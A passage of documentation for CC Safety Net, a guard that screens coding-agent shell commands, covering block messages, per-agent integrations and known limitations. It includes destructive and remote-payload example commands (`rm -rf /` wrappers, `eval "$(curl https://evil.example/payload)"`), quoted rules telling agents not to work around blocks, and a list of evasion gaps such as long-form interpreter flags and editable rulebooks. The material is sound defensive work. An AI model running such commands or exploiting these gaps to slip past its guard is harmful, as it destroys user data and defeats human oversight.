move, overwrite, or patch your repository's `.git` metadata or hooks directory is stopped outright, including from inside the working directory. 5. **Configuration load.** Your policy, rulebooks, and safety level are resolved. 6. **Sensitive-path protection.** Commands, paths, searches, and patches are checked against built-in sensitive locations (`.env`, `~/.ssh`, cloud and coding-CLI credential files) and any deny paths you configured. 7. **Destructive-command analysis.** The command is split into segments, and wrappers and interpreters are unwrapped. The matching analyzer then classifies each segment. Analyzers cover `git`, `rm`, `Remove-Item`, `find`, `xargs`, `parallel`, device commands, and custom rules. Steps 3 and 4 deliberately run **before** step 5. Those two protections are always on and cannot be weakened by your configuration, because they take effect before that configuration is even read. Step 6 is policy-controlled, so you can disable it or extend it with your own deny paths. See [Architecture](/docs/guides/architecture#the-ordered-guard-stages) for the same sequence with stage names and evidence. See [Analysis engine](/docs/guides/analysis-engine) for the classifier internals. ## Why intent, not string matching CC Safety Net analyzes what a command *does*, not what it *looks like*. It parses the executable, subcommand, flags, and arguments. The analyzer for that executable applies its option grammar. | Command | What it does | Outcome | | ------------------------- | -------------------------------------- | ----------- | | `git checkout -b feature` | Creates a new branch | **Allowed** | | `git checkout -- file` | Discards uncommitted changes in a file | **Blocked** | Both begin with `git checkout`. A simple prefix rule cannot distinguish these outcomes without duplicating Git option logic. Structural analysis also handles reordered flags (`rm -r -f /`), shell wrappers (`sh -c "rm -rf /"`), and interpreter one-liners (`python -c 'import os; os.system("rm -rf /")'`). CC Safety Net unwraps and re-analyzes nested commands up to 10 levels deep. This page does not list every rule. See [Blocked commands](/docs/reference/blocked-commands) for the full behavior matrix of what is stopped, and [Allowed commands](/docs/reference/allowed-commands) for what deliberately is not. ## What a block looks like The agent receives the block message as the tool result: ```text theme={"dark"} BLOCKED by CC Safety Net Reason: git checkout -- discards uncommitted changes permanently. Use 'git stash' first. Command: git checkout -- src/main.py If this operation is truly needed, ask the user for explicit permission and have them run the command manually. ``` When they apply, the message also carries the matched `Rule:` id, the `Tool:` name, the specific `Segment:` that triggered the block, and a `Config warning:` if a fallback configuration is in force. Command and segment text is excerpted, and everything in the message is secret-redacted before it leaves the process. A block does not end the agent session. The message arrives as a normal tool result and directs the agent back to the task instead of retrying variants. The rule's intent selects the closing instruction: | Intent | What the agent is told to do | | ------------------ | --------------------------------------------------------------------------------------------------------- | | `hard_stop` | Do not retry or work around it by any means; report the block and continue with the rest of the task | | `use_alternative` | Do not retry the blocked form; continue using the safer alternative named in the reason | | `scope_down` | Retry with a narrower, explicit target; escalate to the user if the broad operation is genuinely required | | `manual_only` | Ask the user for explicit permission and have them run it manually | | `stop_and_explain` | Do not brute-force variants; simplify or restructure the command, or report the block | [Design principles](/docs/guides/design-principles#denials-that-keep-the-agent-on-task) explains why the messages use this structure and why the instruction is advisory while the guard enforces the decision. ## The audit record CC Safety Net always records denials in a local audit log. It records allowed command decisions by default. Read the log with: ```bash theme={"dark"} npx cc-safety-net logs ``` Where the log lives, what each record contains, how long records are kept, and exactly what is redacted before anything is written are all documented in the [audit log reference](/docs/reference/audit-log). ## When a decision surprises you `npx cc-safety-net explain ""` replays the analysis for a command and shows which rule matched and why. Add `--json` for the structured trace. `npx cc-safety-net status` prints `ready` or `degraded` in one screen, and lists anything that is not enforced, including a disabled Claude Code plugin, under `Not active`. `degraded` means a configuration source was rejected and a fallback is being enforced. See [Configuration recovery](/docs/configuration/recovery) for what is and is not active, and how to repair it. `npx cc-safety-net doctor` gives the full report. If the block is correct but too strict for your workflow, change your [safety mode](/docs/configuration/modes) or add a per-rule override. If a safe command is blocked or a destructive one was not, see [Troubleshooting](/docs/guides/troubleshooting) and the [security policy](/docs/security) for where to report it. ## What this does not cover CC Safety Net analyzes the tool call your agent attempts to make, so it cannot see behavior hidden inside arbitrary binaries, unconfigured or opaque command proxies, or network activity. It is a static pre-execution policy gate. It is not an OS sandbox or a privilege boundary, and it does not protect commands that bypass an installed integration. See [Known limitations](/docs/guides/known-limitations) for the full list and the recommended mitigations. Next, see [Integration architecture](/docs/guides/integration-architecture) for how each agent connects to CC Safety Net. # How CC Safety Net integrates with each agent Source: https://ccsafetynet.com/docs/guides/integration-architecture The four integration models behind CC Safety Net's thirteen agents: stdin hook subprocesses, agent-loaded plugins, the in-process Pi extension, and the Amp Code event plugin. Use this page when you configure or debug an integration. It describes how each agent calls CC Safety Net and receives a decision. See [How it works](/docs/guides/how-it-works) for the user-facing lifecycle. CC Safety Net supports thirteen coding agents, and it does not plug into all of them the same way. There are four integration models. Knowing which one your agent uses helps you debug a hook that is not firing and know where its configuration lives. See [Installation](/docs/installation) for the commands that install or remove each integration. Every model on this page feeds the same guard, specified once in [Architecture](/docs/guides/architecture). ## Integration models by agent | Model | Agents | How it works | | ------------------------- | ---------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Stdin hook subprocess** | Antigravity CLI, Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Hermes Agent, Kimi Code | The agent runs `cc-safety-net hook ` as a short-lived process for each tool call, writing the call as JSON to its stdin. CC Safety Net analyzes it and prints an agent-specific deny object on stdout, exiting 0. | | **Agent-loaded plugin** | OpenClaw, OpenCode | The agent loads CC Safety Net as a plugin of its own package format. There is no `hook` flag for these agents. | | **In-process extension** | Pi | Pi loads CC Safety Net's extension directly into the Pi process and calls it in memory. It uses no subprocess, stdin, or stdout. | | **Event plugin** | Amp Code | Amp loads a managed personal plugin from the account's Personal Plugins repository and delivers each `tool.call` event to it, in process. | ## Stdin hook subprocess agents For these nine agents, the protection is the runtime `hook ` command, which reads JSON from stdin. Each agent names its pre-execution event and its command tool differently, and each expects a different deny shape on stdout: | Agent | Runtime flag | Hook event | Command tool | Deny output shape | | ------------------ | ------------------------ | --------------- | ------------------------------------------ | ----------------------------------------------------------------- | | Antigravity CLI | `-ac` / `--agy-cli` | `PreToolUse` | `run_command` | `{ "decision": "deny", "reason": … }` | | Claude Code | `-cc` / `--coding-cli` | `PreToolUse` | `Bash`, `PowerShell` | `hookSpecificOutput.permissionDecision: "deny"` | | Codex | `-cx` / `--codex` | `PreToolUse` | `Bash` | `hookSpecificOutput.permissionDecision: "deny"` | | Cursor | `-cu` / `--cursor` | `preToolUse` | `Shell` | `{ "permission": "deny", "user_message": …, "agent_message": … }` | | Gemini CLI | `-gc` / `--gemini-cli` | `BeforeTool` | `run_shell_command` | `{ "decision": "deny", "reason": …, "systemMessage": … }` | | GitHub Copilot CLI | `-cp` / `--copilot-cli` | `PreToolUse` | `bash`, `Bash`, `powershell`, `PowerShell` | `{ "permissionDecision": "deny", "permissionDecisionReason": … }` | | Grok Build | `-gb` / `--grok-build` | `PreToolUse` | `run_terminal_command` | `{ "decision": "deny", "reason": … }` | | Hermes Agent | `-ha` / `--hermes-agent` | `pre_tool_call` | `terminal` | `{ "action": "block", "message": … }` | | Kimi Code | `-kc` / `--kimi-code` | `PreToolUse` | `Bash` | `hookSpecificOutput.permissionDecision: "deny"` | Because these agents use different events and deny formats, CC Safety Net emits the correct shape per agent. Gemini CLI, for example, expects a `decision`/`systemMessage` object with exit 0 rather than Claude Code's `hookSpecificOutput`. You do not need to configure the output format because the flag selects it. ### Use the shared Coding CLI hook `hook --coding-cli` (short flag `-cc`) is the canonical name of the Claude-shaped hook. It is called "Coding CLI" rather than "Claude Code" because the entry point accepts that payload shape from any agent that sends it. `hook --claude-code` is accepted as a legacy alias and is not advertised in `hook --help`. Do not use it in new configuration. Separately, three agents keep legacy **top-level** forms that skip the `hook` word: `cc-safety-net -cc` / `--claude-code`, `-gc` / `--gemini-cli`, and `-cp` / `--copilot-cli`. The canonical `--coding-cli` is not a top-level flag. A bare `cc-safety-net --coding-cli` errors with `Unknown option: --coding-cli`. The `statusline` command is unrelated to the hook and still requires `--claude-code` or `-cc`. See [Status line](/docs/configuration/status-line). ### Hook configuration locations CC Safety Net writes files directly for five of the nine agents. Four use hook configuration entries, and Hermes Agent uses a managed plugin. The other four use their own plugin or extension distribution channel, which then invokes the stdin hook: | Agent | Config location and load mechanism | | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Antigravity CLI | Written directly: a managed `PreToolUse` entry in `~/.gemini/config/hooks.json` running `npx -y cc-safety-net hook --agy-cli` | | Claude Code | Plugin `cc-safety-net@cc-marketplace`; plugin state in `~/.claude/settings.json` under `enabledPlugins` | | Codex | Plugin `cc-safety-net@cc-marketplace`; the plugin's own `hooks/codex.json` registers the `PreToolUse` entry that runs `node "${PLUGIN_ROOT}/dist/bin/cc-safety-net.js" hook --codex` | | Cursor | Written directly: a managed `preToolUse` entry in `~/.cursor/hooks.json` running `npx -y cc-safety-net hook --cursor` with `timeout: 30` and `failClosed: true`. The config is global, so it covers Cursor IDE and Cursor CLI across all projects | | Gemini CLI | Extension `gemini-safety-net`, loaded from the `gemini-safety-net` repository, not a `cc-marketplace` plugin | | GitHub Copilot CLI | Plugin `cc-safety-net@cc-marketplace`, or hook files under `~/.copilot/hooks` / inline hooks in Copilot config. Hook support is version-gated, so which of those sources works depends on your Copilot CLI version. See [Installation](/docs/installation#github-copilot-cli-installation). `disableAllHooks: true` disables all hooks | | Grok Build | Written directly: a managed `PreToolUse` entry in `~/.grok/hooks/cc-safety-net.json` (or `$GROK_HOME/hooks/cc-safety-net.json`) running `npx -y cc-safety-net hook --grok-build` with `timeout: 30`. The entry carries no matcher, so file and patch tools reach the hook alongside `run_terminal_command`. Install and uninstall only ever touch the managed handler, so foreign entries in the file and foreign handlers inside a shared entry are left alone | | Hermes Agent | Written directly: a managed Python plugin at `~/.hermes/plugins/cc-safety-net/` (`__init__.py` plus `plugin.yaml`; the Hermes home is `$HERMES_HOME` when set), then enabled with `hermes plugins enable cc-safety-net --no-allow-tool-override`. Enablement is recorded in Hermes' own `config.yaml` under `plugins.enabled` | | Kimi Code | Written directly: a `[[hooks]]` block in `~/.kimi-code/config.toml` (or `$KIMI_CODE_HOME/config.toml`) running `npx -y cc-safety-net hook --kimi-code`. Alternatively, a native Kimi Code plugin installed inside Kimi Code with `/plugins install https://github.com/kenryu42/cc-safety-net`; its manifest runs the same hook entry (`node ./dist/bin/cc-safety-net.js hook --kimi-code`, `PreToolUse` event, 30-second timeout) with no matcher, so file tools also reach the hook | For a Kimi Code `Bash` call, `tool_input.cwd` becomes the execution directory when it is present. It must be a non-empty string that resolves inside the session `cwd`; an invalid or escaping value fails closed. GitHub Copilot CLI routes `powershell` and `PowerShell` calls to the PowerShell analyzer. For a Grok Build call, the trusted root is `workspaceRoot`, or `cwd` when `workspaceRoot` is absent. `cwd` must canonicalize to a directory inside that root, and an absent or empty `cwd` is treated as `.`. A root that cannot be canonicalized, or a `cwd` outside it, fails closed. A `toolInputTruncated: true` envelope also fails closed, because Grok Build truncates tool input at 128 KB and the truncated command cannot be analyzed. ### How Codex reaches the hook Codex loads CC Safety Net as the `cc-safety-net@cc-marketplace` plugin from the `cc-marketplace` marketplace. The plugin is packaged in Codex's own format, and its manifest points at `hooks/codex.json`, which registers the `PreToolUse` hook. The same plugin carries the `cc-safety-net` skill. Codex will not run an untrusted hook, so the hook stays inert until it is marked trusted inside Codex. See [Installation](/docs/installation#codex-installation) for that step. ### How Hermes Agent reaches the hook Hermes does not run the hook command from a hook config. CC Safety Net installs a managed Python plugin that Hermes loads in process, and the plugin registers a `pre_tool_call` handler. For each supported tool call, the handler runs `npx -y cc-safety-net hook --hermes-agent` and writes the call as JSON to its stdin. Empty stdout means the call is allowed. A `{ "action": "block", "message": … }` object blocks it, and Hermes shows the message to the model as the tool result. The plugin forwards four tools: `terminal` for command analysis, `write_file` and `patch` for protected writes, and `read_file` for protected reads. Calls to any other Hermes tool are not forwarded and get no decision. Hermes ignores a plugin callback that raises, so the plugin turns every failure into an explicit block itself: `npx` missing from PATH, a spawn failure, a timeout (30 seconds, killing the analyzer's whole process group), a non-zero exit, or unreadable or unexpected output. A Hermes session directory that the plugin cannot read also blocks. Analyzing the wrong directory would clear every path-scoped protection. Two directory details matter here. For `terminal` calls the plugin first reads Hermes' per-session cwd record, which holds the session's `cd` state. On the first command, before that record exists, it uses `TERMINAL_CWD`, then the Hermes process directory. A `terminal` call with an unusable `workdir` fails closed. The analyzer subprocess starts from the home directory rather than Hermes' working directory, so `npx` cannot resolve a repository-local `cc-safety-net` in place of the real one. Every managed file starts with a header line marking it as CC Safety Net's; the installer refuses to overwrite a file without it. Uninstall runs `hermes plugins disable cc-safety-net` before removing the files, because Hermes only resolves a plugin that is still on disk. In both directions the plugin change is inert until Hermes restarts. See [Installation](/docs/installation#hermes-agent-installation) for the setup and removal commands. Unlike Pi, `doctor` detects Hermes Agent entirely from disk: the managed plugin directory plus the `plugins.enabled` list in Hermes' `config.yaml`. No runtime probe is involved. ## Agent-loaded plugins ### OpenClaw OpenClaw loads CC Safety Net **in process** as a native OpenClaw plugin. The plugin ships as a packaged directory with three files. The runtime entry `index.js` is a self-contained bundle with every dependency inlined because a local directory install gets no `node_modules`. The `openclaw.plugin.json` manifest is validated before OpenClaw loads any code. A `package.json` points `openclaw.extensions` at the entry. There is no `hook` flag and no JSON-over-stdio. The plugin registers a `before_tool_call` handler matched to the `exec` tool. Only the untagged shell `exec` is analyzed. An `exec` event with a `toolKind` discriminator, such as Code Mode's JavaScript `exec`, gets no decision because its `command` field is not a proven shell-command mapping. No other OpenClaw tool is forwarded to the guard. The handler returns either no decision (allow) or `{ block: true, blockReason }`; it never rewrites tool parameters. It resolves the agent's workspace directory through OpenClaw's runtime API and uses it as both the policy and execution directory; a `workdir` in the call is resolved contained within that workspace. CC Safety Net fails closed on a malformed event, a missing or empty command, a workspace it cannot resolve, a `workdir` outside the workspace, or a call already cancelled. An `exec` call whose `host` is anything other than `auto` or `gateway` is also blocked. `gateway` is proven local. A call with `host: "auto"` (or no `host` at all) is analyzed with local Gateway semantics, but the plugin does not check where OpenClaw routes it. The sandbox case is listed in [Known limitations](/docs/guides/known-limitations). OpenClaw owns its plugin state, so installation drives OpenClaw's own CLI: `openclaw plugins install --force`, then `openclaw plugins enable cc-safety-net`. Before any `--force` command, CC Safety Net verifies that the target extension directory holds only its own managed files. It cannot overwrite or delete a plugin that is not provably its own. After installation, it runs `openclaw plugins inspect cc-safety-net --runtime --json` and treats only a `loaded` status as success. Otherwise, a broken enabled plugin could install cleanly and then protect nothing. The installed copy lives at `/extensions/cc-safety-net/`, where the state dir is `OPENCLAW_STATE_DIR` when set, else the directory holding `OPENCLAW_CONFIG_PATH`, else `~/.openclaw`. Enablement lives in OpenClaw's own config (`openclaw.json` in the state dir, or `OPENCLAW_CONFIG_PATH`): the global `plugins.enabled` switch, the `plugins.allow` and `plugins.deny` lists, and the per-plugin `plugins.entries.cc-safety-net.enabled` entry all take part. If `plugins.allow` is set, it must also list `cc-safety-net`. Restart the OpenClaw Gateway after installing or uninstalling. The manifest activates the plugin at startup (`activation: { onStartup: true }`), so a running Gateway does not pick up the change. See [Installation](/docs/installation#openclaw-installation) for the setup and removal commands. ### OpenCode OpenCode loads CC Safety Net **in process** as a plugin object implementing OpenCode's own `@opencode-ai/plugin` contract, declared in the `plugin` array of `~/.config/opencode/opencode.json` (or `.jsonc`). The plugin does two things: 1. Implements `tool.execute.before`, which OpenCode calls ahead of every tool execution. CC Safety Net analyzes the call and throws a denial when the command is destructive; there is no JSON-over-stdio. 2. Implements the `config` hook to inject CC Safety Net's builtin commands into the OpenCode command set, without overwriting commands you have already defined. For the `bash` tool, the plugin selects the analyzer dialect from OpenCode's `shell` setting. If the setting is not a string, it defaults to PowerShell on Windows and uses `SHELL` elsewhere. Recognized `powershell` and `pwsh` executables select PowerShell; recognized POSIX shells select POSIX; other values use automatic detection. A supplied `workdir` becomes the execution directory only when it resolves to a readable, searchable directory. On Windows, documented `/C:`, `/C`, `/cygdrive/C`, and `/mnt/C` forms are normalized, while other slash-rooted paths pass through for OpenCode to resolve. OpenCode can serve a stale cached copy of the plugin, so a wiring change may not take effect until the cache is cleared. See [Installation](/docs/installation#opencode-installation). ## The Pi extension Pi loads CC Safety Net as an in-process extension, declared through the package's `pi.extensions` field and recorded as the package source `npm:cc-safety-net` in `~/.pi/agent/settings.json`. The extension does two things: 1. **Registers a `tool_call` event handler** (`pi.on('tool_call')`). The handler inspects Pi tool calls before they run and returns a block result when a command or path violates the policy. Nothing crosses a process boundary. 2. **Registers a `/cc-safety-net` builtin command** for managing rulebooks interactively inside Pi. ### Tools Pi protects The built-in **`bash`** tool is Pi's only command-tool adapter. Its `command` runs against the session cwd. The obsolete custom `Shell` adapter is not supported. Pi's non-command tools still reach path and secret protection. In particular, `find` is classified as a read-only glob tool, so its `pattern` and path values are inspected without treating the search itself as a write. If a command call or its session cwd is malformed, CC Safety Net fails closed. | Tool | Command field | Working directory | | ------ | ------------- | ----------------- | | `bash` | `command` | session cwd | ### Detecting Pi Because there is no hook config file to inspect, the `doctor` command detects Pi with a runtime probe (it spawns `pi` and asks whether the extension is loaded and enabled). This is why a Pi status in `doctor` may read `n/a` even when Pi is installed, if the probe cannot run. ## The Amp Code event plugin Amp Code loads CC Safety Net as a **personal plugin**: a `cc-safety-net` directory in your Amp account's hosted Personal Plugins repository, holding the self-contained entry file `index.ts`. The plugin subscribes to Amp's `tool.call` event through the `@ampcode/plugin` API and returns either `allow` or `reject-and-continue` with a message. Like Pi, OpenClaw, and OpenCode, it runs in process. Because a personal plugin follows the account rather than one machine, it also covers threads that run on a remote executor such as an Amp Orb. The Amp workspace root (`amp.system.workspaceRoot`) is the configuration directory. When a shell tool call carries a string `dir`, that value becomes the execution directory: a relative path resolves against the workspace root, the result goes through `realpath`, and it must exist and be a directory. Windows namespace paths are rejected. A `dir` that cannot be resolved fails closed, and the call is not analyzed for destructive commands. The denial no longer reports an unexpected analyzer failure. It names the working directory as the cause and tells the agent to use a directory that already exists and is accessible, or to create the missing one first. Unlike OpenClaw's `workdir`, the resolved directory is not required to stay inside the workspace. Amp legitimately points it at its own skills cache or a sibling repository, and the same work written as `cd && …` already runs there. The workspace root stays the configuration directory, so the project's own rule configuration still applies. The git-metadata guard anchors to both the execution directory and the configuration directory, so the workspace's own `.git` keeps its protection while the command runs elsewhere. See [Git metadata](/docs/reference/blocked-commands#git-metadata). `install --amp` publishes the artifact to that repository. It checks that the account has a writable Personal Plugins repository (`amp plugins repositories --json`), clones it into a throwaway checkout (`amp clone user-plugins`), writes `cc-safety-net/index.ts`, then commits and pushes. Staging uses an explicit pathspec (`git add -- cc-safety-net/index.ts`) rather than the directory, so a gitignored plugin path stops the install instead of staging nothing. Install and uninstall only ever write or `git rm` that one entry, so files you keep beside it in the directory are never touched. A managed header identifies the entry as CC Safety Net's and marks it as safe to replace. Install and uninstall both refuse a `cc-safety-net` entry that is a symlink or not a directory, and an `index.ts` that is a symlink, not a regular file, or unmanaged. Releases before the directory layout published `cc-safety-net.ts` at the repository root; install removes a managed one in the same commit, and an unmanaged one fails the install. A local plugin masks the personal one, so install also cleans up under `~/.config/amp/plugins/`. It removes a managed legacy `cc-safety-net.ts`, and a hand-copied `cc-safety-net/` directory that holds nothing but a managed `index.ts`. Any other local entry at those two paths fails the install. See [Installation](/docs/installation#amp-code-installation) for the setup and removal commands. ### The embedded policy snapshot The published artifact carries a snapshot of your user policy: one `globalThis.__CC_SAFETY_NET_EMBEDDED_POLICY__ = …` assignment appended to the file, with the policy normalized before it is written. At runtime, the snapshot applies only on a machine with no policy file of its own, such as an Orb with an empty home directory. A machine that has a policy file, even an invalid one, keeps its own behavior. Audit retention, user rulebooks, and project-scope policy are not embedded. A policy edit ships only on the next `install` or `update`. Amp reads plugins at startup, so a newly published or removed plugin has no effect on the running session until Amp reloads. ### Detecting Amp Code `doctor` detects the plugin by parsing `amp plugins list` output, where a personal-scope plugin renders as `✓ cc-safety-net (User Plugins) `. That output carries no version, so `doctor` never reports version drift for Amp. `cc-safety-net update` republishes the current artifact regardless. ### Amp Code coverage limits * Amp does not define the execution order of multiple plugins subscribed to the same `tool.call` event. CC Safety Net evaluates the input it receives and cannot re-evaluate an input that another plugin rewrites after CC Safety Net has already allowed it. ## Verify the integration `npx cc-safety-net doctor` reports the detected integration and config path for every agent, and runs a self-test wherever protection is active. See [CLI commands](/docs/reference/cli-commands) for its options and exit behavior. For a hook that is not firing for a specific agent, see the per-agent steps in [Troubleshooting](/docs/guides/troubleshooting). ## Where to go next The technical guides run from the user-facing lifecycle down to the reasoning behind the design. This page is step 2. * Back: [How it works](/docs/guides/how-it-works), which presents the same interception as one tool call from end to end. * Next: [Architecture](/docs/guides/architecture), which specifies the guard every integration on this page feeds, including the ordered stage table. * Then: [Analysis engine](/docs/guides/analysis-engine), which explains how a command is classified once it reaches the classifier. * Finally: [Design principles](/docs/guides/design-principles), which explains the integration models and guard order. Related: [Installation](/docs/installation) for setup and removal commands, and [Troubleshooting](/docs/guides/troubleshooting) for per-agent diagnosis. # Known limitations and pitfalls Source: https://ccsafetynet.com/docs/guides/known-limitations What CC Safety Net cannot catch: opaque command proxies, in-binary behavior, filesystem containment and network, symlink TOCTOU, interpreter flags, eval-based execution, the Codex interactive-session gap, the Grok Build fail-open host, and the Hermes Agent and OpenClaw coverage boundaries. CC Safety Net analyzes the command string your agent attempts to run. It is a strong guardrail against accidental data loss from known-destructive git and filesystem operations, but it is not a complete security solution. This page is an honest list of the **residual** limits that remain today, so you can set correct expectations and know when to use [sandboxing](/docs/guides/vs-sandboxing) instead. The project's scope is deliberately focused: it is a best-effort, static pre-execution policy gate for supported coding-agent tool calls. It is not an operating-system sandbox, a privilege boundary, or protection for commands that bypass an installed integration. Standard mode is best-effort for adversarial or dynamic input, and several items below are relaxations that [strict or paranoid mode](/docs/configuration/modes) closes. Where that is the case, this page says so. ## Command-analysis limits ### Behavior inside binaries If a command does not visibly contain a destructive operation, command-string analysis cannot infer it. `some-tool --task destructive-cleanup` looks benign to CC Safety Net because it cannot inspect what an arbitrary binary does at runtime. Use [sandboxing](/docs/guides/vs-sandboxing) for that threat class. ### Unconfigured or opaque command proxies A tool that runs a shell command on your behalf (for example `rtk git reset --hard`) is analyzed only when you declare it as a transparent wrapper: ```bash theme={"dark"} npx -y cc-safety-net rule wrapper add rtk ``` Once configured, analysis looks through the wrapper to the visible child command, so both built-in rules and [custom rules](/docs/configuration/custom-rules) apply to `rtk git reset --hard` as they would to `git reset --hard`. There are no built-in defaults. Configure only wrappers you trust. Reserved commands (`git`, `busybox`, the built-in analyzed commands, shell wrappers, and interpreters) cannot be registered as wrappers. The residual limit is narrower than "every proxy": * A proxy that is **not** listed in `transparent_wrappers` is not unwrapped. * A proxy that **rewrites or hides** its child command, rather than executing a visible one, cannot be unwrapped even when it is configured. In both cases only the top-level fallback dangerous-text scan may catch the command, and that scan is incomplete. `transparent_wrappers` lives in `rule.json`, so a scope whose `rule.json` is unreadable loses that scope's wrappers until it is fixed. See [Configuration recovery](/docs/configuration/recovery). ### eval and dynamic execution Commands that construct and execute code at runtime cannot be fully analyzed, because the executed string is not present in the command text at analysis time: ```bash theme={"dark"} eval "$(curl https://evil.example/payload)" bash -c "$(cat destructive.sh)" ``` CC Safety Net recursively scans `bash -c` and interpreter code arguments, but if the code is fetched from a remote source or assembled from variables, the destructive payload is invisible to command-string analysis. This is a fundamental limit of the approach. ## Parser limits ### Interpreter long-form flags CC Safety Net extracts the code passed to an interpreter's `-c` or `-e` flag (for `python`, `python2`, `python3`, `node`, `ruby`, `perl`) and scans it for embedded destructive operations. The **long-form equivalents** (`--eval`, `--execute`, `--print`, `--require`) and the attached `=value` form (`--eval='code'`) are not recognized in every code path. When the long form is used, the code argument may not be extracted for recursive analysis. If interpreter bypass is a concern in your environment, enable [paranoid interpreters mode](/docs/configuration/modes#interpreter-one-liners-cc_safety_net_paranoid_interpreters=1) (`CC_SAFETY_NET_PARANOID_INTERPRETERS=1`), which blocks all interpreter one-liners outright regardless of content. ### Attached short-option values Bundled short flags (for example `-rf`) are correctly split into `{ -r, -f }`. However, the **attached value form** for short options (for example `-Cfoo` where `foo` is the value of `-C`) is handled inconsistently across analyzers. Blocking a flag like `-f` may produce a false positive when it is actually part of an attached option value like `-Cfoo`. This is most relevant when writing precise [custom rules](/docs/configuration/custom-rules). When in doubt, use [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) mode for stronger protection. ### Symlink TOCTOU risk `rm -rf` target classification resolves symlinks to their canonical targets before deciding whether a path is dangerous. There is an unavoidable **time-of-check-to-time-of-use (TOCTOU)** window between when the analyzer resolves a path and when the shell actually executes the `rm`. A symlink could be repointed in that window. This is inherent to any pre-execution command analysis tool; fully closing it would require running inside the kernel or intercepting syscalls, which is out of scope for a hook. The [paranoid rm](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1) mode (`CC_SAFETY_NET_PARANOID_RM=1`) provides a stricter stance for operators who want to block more aggressively. ## Out-of-scope protections These are boundaries CC Safety Net does not attempt to cover. Most of them need **containment** rather than semantic analysis, which is a different layer. See [where CC Safety Net cannot help](/docs/guides/vs-sandboxing#where-cc-safety-net-cannot-help) for the sandboxing counterpart of each one. ### Sensitive-path coverage is bounded, not a general read boundary CC Safety Net **does** protect sensitive paths. The [built-in sensitive set](/docs/reference/secret-protection) includes `.env` variants, `~/.ssh/id_*`, `~/.aws`, `~/.kube/config`, coding-CLI credential stores, and more. Reads of these paths are blocked, as are user-configured deny paths and all of their descendants. Protection applies across supported command, path, search, and patch shapes, including unknown-tool fallback inspection. Coding-CLI coverage comes in two tiers. The **credential** tier (auth tokens and credential stores) is on by default. The **config** tier (settings and MCP config files, which agents edit as routine work) ships off and needs an explicit `"on"` override in `secret_protection.overrides`. One consequence worth knowing: Antigravity's only rule (`secret.cli.antigravity`) lives in the opt-in config tier, so Antigravity has no on-by-default credential rule. The full tier list, with the paths each rule protects, is in the [Secret protection reference](/docs/reference/secret-protection#coding-cli-credential-tier-on-by-default). The residual limit is that this is a **bounded pattern set over supported shapes**, not a general read boundary: * A credential in a file whose name and extension are not on the pattern list is not recognized. * Standard mode allows standalone metadata-only checks of built-in sensitive paths (for example `test -f ~/.ssh/id_rsa`, `find ~/.ssh -type f`, `ls -la ~/.ssh`, or `stat .env`). [Strict and paranoid](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) block that discovery. Configured deny paths are never relaxed in any mode. * Setting `secret_protection.enabled` to `false` in `policy.json` turns the whole stage off, deny paths included. For a boundary that constrains *all* reads rather than a recognized set, use [sandboxing](/docs/guides/vs-sandboxing#where-cc-safety-net-cannot-help). ### No complete filesystem containment CC Safety Net denies a tool call before it runs; it does not enforce filesystem permissions. The block message is guidance to the agent, not a claim of complete filesystem enforcement. Catastrophic protections (recursive deletion of root or home, the protected Git metadata set, and `policy.json` in both scopes) are always enforced, but when you need complete protection rather than best-effort interception, use a trusted write broker, operating-system permissions, a sandbox, or equivalent runtime enforcement. ### No network layer Runtime evaluation performs no network requests, and nothing in the guard pipeline inspects or filters egress. Data exfiltration over the network, domain allowlisting, and container boundaries are outside the product. Those are exactly what sandboxing's network restrictions address. ### General attack prevention Blocking prompt-injection-driven exfiltration, authenticating users, and enforcing container boundaries are all out of scope. CC Safety Net assumes the agent's command string is untrusted, but it does not detect hidden behavior inside arbitrary binaries. ### Custom rule configuration is not tamper-resistant Tamper resistance covers `policy.json` in both scopes: the user file, and the project file resolved from the execution directory and from the configuration directory. `rule.json` and rulebooks are not protected. Every rulebook is a live file the runtime rereads on each tool call, so an agent that can write in the rules directory changes what is enforced on the next one. Removing a source entry from `rule.json` is no longer the only ungated change. Nothing records what `rule update` wrote into a vendored `rulebook.json`, so an edit to a rule's `match` or `reason` inside that file leaves no evidence of the edit. At load the runtime checks the file against the schema and checks that its `name` matches the source, then enforces whatever it finds. The edit stands until the next `rule update` overwrites the file. Protecting `rule.json` is a deferred product decision. The project `policy.json` has one deliberate bound. Its protected directory chain stops at its own `.cc-safety-net` directory, while the user file's chain covers its directory and every ancestor up to the filesystem root. Walking the project chain further would claim the project directory and every ancestor above it. Those are exactly the paths the destructive-command rules target, and policy protection runs first, so `rm -rf .` and `find . -delete` would report this guard's generic reason in place of their own. ## Hermes Agent and OpenClaw coverage boundaries The Hermes Agent and OpenClaw integrations cover a defined set of tools and execution hosts. Everything outside that set either gets no decision or is blocked outright. The boundaries are listed here. ### Hermes Agent sees a fixed tool list The managed Hermes plugin registers a single `pre_tool_call` hook and forwards exactly four tools to analysis: `patch`, `read_file`, `terminal`, and `write_file`. A call to any other Hermes tool is not forwarded and gets no decision. A `!command` you type yourself also stays outside: bang-shell input does not raise `pre_tool_call`, so it goes to Hermes' own command guard instead. CC Safety Net sees model-generated tool calls only, not every subprocess Hermes starts. If Hermes never loads the plugin, nothing blocks. Only `npx cc-safety-net doctor` reports a plugin that is present but not enabled. ### OpenClaw covers exec on the local Gateway host The OpenClaw plugin registers `before_tool_call` for the canonical `exec` tool only. `apply_patch` and OpenClaw's read/write/edit file tools are not protected. An `exec` event with a `toolKind` discriminator also gets no decision. This excludes tools that share the `exec` name, such as Code Mode's JavaScript `exec`, whose `command` field is not a proven shell-command mapping. Execution hosts split three ways: * An `exec` call with no `host`, `host: "auto"`, or `host: "gateway"` is analyzed as a local Gateway call, with paths resolved against the agent workspace. * An explicit `host: "sandbox"` or `host: "node"` is blocked as unsupported rather than analyzed, because no test proves a correct path mapping for those hosts. * The configured `tools.exec.host` default never changes the analysis: the plugin reads only the call's own `host` parameter, so a call with no `host` is analyzed as a local Gateway call even when the default routes it to `node` or `sandbox`. The residual gap is the `auto` case: when a sandbox runtime is active, 